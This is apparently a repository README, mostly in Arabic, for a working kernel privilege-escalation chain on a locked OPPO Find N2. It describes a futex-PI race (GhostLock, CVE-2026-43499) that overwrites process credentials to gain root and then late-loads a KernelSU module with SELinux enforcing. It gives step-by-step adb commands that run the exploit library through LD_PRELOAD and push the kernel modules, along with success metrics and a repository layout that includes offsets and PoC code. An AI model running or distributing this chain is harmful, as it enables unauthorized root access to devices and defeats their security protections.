
OPPO Find N2 GhostLock (CVE-2026-43499) تكييف استغلال
تحميل KernelSU المتأخر على OPPO Find N2 مقفل — سلسلة كاملة، LKM مبني ذاتيًا، بدون bootloader مفتوح.
futex-PI write primitive → cred overwrite → ADRP overflow fixed → kernelsu.ko live
سلسلة بحثية كاملة وعاملة تقوم بتحميل وحدة نواة KernelSU مُجمَّعة ذاتيًا إلى
جهاز OPPO Find N2 (PGU110 / SM8475) أصلي ومقفل ضد تحديثات OTA — لتنتهي بـ
su -c id → uid=0 … context=u:r:ksu:s0 بينما يبقى SELinux في وضع Enforcing.
كل ما في lkm-build/ (المُحمِّل، وطبقة shim لجدار الرموز، ونظام البناء) هو عمل أصلي
من هذا المستودع؛ أما ثغرة userland فهي نقل بترخيص GPL-3.0 لإطار matisse مُكيَّف
لهذا الجهاز (انظر NOTICE).
① futex PI requeue race → kernel write primitive (GhostLock, CVE-2026-43499)
② task->cred = &init_cred → CapEff 0000000000000000 → 000001ffffffffff
③ gate check → capable() ✓ SELinux ✓ domain ✓ (the wall was never here)
④ finit_module → R_AARCH64_ADR_PREL_PG_HI21 overflow ← the real wall
fixed by -mcmodel=large: reloc-275 1497 → 0
⑤ kernelsu.ko live → /system/bin/su · u:r:ksu:s0 · SELinux Enforcing
| البدائية الكتابية | CapEff: 000001ffffffffff لوحظ على الجهاز (3/3 محاولات) |
| إصلاح إعادة التموضع | عدد النوع 275 1497 → 0 (تم التحقق من مخطط .rela في ELF) |
| جدار الرموز | قلّص TRIM_UNUSED_KSYMS عدد الرموز بمقدار 49 → تمهيد kprobe + تعريفات أمامية → 0 غير معرّف |
| بوابة SCM | scmversion مثبّت على g74d132f4467a، مطابق بايتًا ببايت |
| الاستقرار | بوابة الفحص المسبق + وصفة تقليل الضغط؛ مدة التشغيل النهائية 27 ساعة+ دون أي انهيار |
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
# or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
bash lkm-build/build-lkm.sh
# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id" # uid=0
# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/
# 4) verify
adb shell "su -c id" # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules" # kernelsu … Live
exploit-v29/ userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/ ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/ ELF / symbol / offset tooling
test-programs/ standalone PoC probes (C sources only)
docs/ research notes · evidence logs · handoff snapshots
RESEARCH.md ★ full technical write-up (§1–§10)
كل طريق مسدود وسطر dmesg وإصلاح موثّق في RESEARCH.md — بما في ذلك لماذا لم تكن بوابة الأذونات هي المشكلة أبدًا، وكيف تم اكتشاف تجاوز ADRP وإيقافه، وما الذي تغيّر بعد تحديث OTA 5.10.246.
exploit-v29/lkm-build/minload/
هو تنفيذ أصلي، والمقارنة في RESEARCH.md §8lkm-build/ والوثائق والسكربتات: GPL-2.0-only · exploit-v29/: GPL-3.0 (المصدر الأصلي)